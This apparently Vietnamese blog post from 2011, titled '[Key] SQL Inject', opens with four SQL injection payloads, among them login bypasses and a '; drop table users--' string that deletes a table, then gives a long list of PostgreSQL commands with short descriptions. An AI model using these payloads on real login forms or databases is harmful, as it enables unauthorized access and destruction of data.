06 May 2011

[Key] SQL Inject


Bài viết liên quan:

‘OR ” = ‘ Allows authentication without a valid username.
admin’– Authenticate as user admin without a password.
‘ union select 1, ‘user’, ‘pass’ 1– Requires knowledge of column names.
‘; drop table users– DANGEROUS! this will delete the user database if the table name is ‘users’.
ABORT — abort the current transaction
ALTER DATABASE — change a database
ALTER GROUP — add users to a group or remove users from a group
ALTER TABLE — change the definition of a table
ALTER TRIGGER — change the definition of a trigger
ALTER USER — change a database user account
ANALYZE — collect statistics about a database
BEGIN — start a transaction block
CHECKPOINT — force a transaction log checkpoint
CLOSE — close a cursor
CLUSTER — cluster a table according to an index
COMMENT — define or change the comment of an object
COMMIT — commit the current transaction
COPY — copy data between files and tables
CREATE AGGREGATE — define a new aggregate function
CREATE CAST — define a user-defined cast
CREATE CONSTRAINT TRIGGER — define a new constraint trigger
CREATE CONVERSION — define a user-defined conversion
CREATE DATABASE — create a new database
CREATE DOMAIN — define a new domain
CREATE FUNCTION — define a new function
CREATE GROUP — define a new user group
CREATE INDEX — define a new index
CREATE LANGUAGE — define a new procedural language
CREATE OPERATOR — define a new operator
CREATE OPERATOR CLASS — define a new operator class for indexes
CREATE RULE — define a new rewrite rule
CREATE SCHEMA — define a new schema
CREATE SEQUENCE — define a new sequence generator
CREATE TABLE — define a new table
CREATE TABLE AS — create a new table from the results of a query
CREATE TRIGGER — define a new trigger
CREATE TYPE — define a new data type
CREATE USER — define a new database user account
CREATE VIEW — define a new view
DEALLOCATE — remove a prepared query
DECLARE — define a cursor
DELETE — delete rows of a table
DROP AGGREGATE — remove a user-defined aggregate function
DROP CAST — remove a user-defined cast
DROP CONVERSION — remove a user-defined conversion
DROP DATABASE — remove a database
DROP DOMAIN — remove a user-defined domain
DROP FUNCTION — remove a user-defined function
DROP GROUP — remove a user group
DROP INDEX — remove an index
DROP LANGUAGE — remove a user-defined procedural language
DROP OPERATOR — remove a user-defined operator
DROP OPERATOR CLASS — remove a user-defined operator class
DROP RULE — remove a rewrite rule
DROP SCHEMA — remove a schema
DROP SEQUENCE — remove a sequence
DROP TABLE — remove a table
DROP TRIGGER — remove a trigger
DROP TYPE — remove a user-defined data type
DROP USER — remove a database user account
DROP VIEW — remove a view
END — commit the current transaction
EXECUTE — execute a prepared query
EXPLAIN — show the execution plan of a statement
FETCH — retrieve rows from a table using a cursor
GRANT — define access privileges
INSERT — create new rows in a table
LISTEN — listen for a notification
LOAD — load or reload a shared library file
LOCK — explicitly lock a table
MOVE — position a cursor on a specified row of a table
NOTIFY — generate a notification
PREPARE — create a prepared query
REINDEX — rebuild corrupted indexes
RESET — restore the value of a run-time parameter to a default value
REVOKE — remove access privileges
ROLLBACK — abort the current transaction
SELECT — retrieve rows from a table or view
SELECT INTO — create a new table from the results of a query
SET — change a run-time parameter
SET CONSTRAINTS — set the constraint mode of the current transaction
SET SESSION AUTHORIZATION — set the session user identifier and the current user identifier of the current session
SET TRANSACTION — set the characteristics of the current transaction
SHOW — show the value of a run-time parameter
START TRANSACTION — start a transaction block
TRUNCATE — empty a table
UNLISTEN — stop listening for a notification
UPDATE — update rows of a table
VACUUM — garbage-collect and optionally analyze a database
show processlist — view running process

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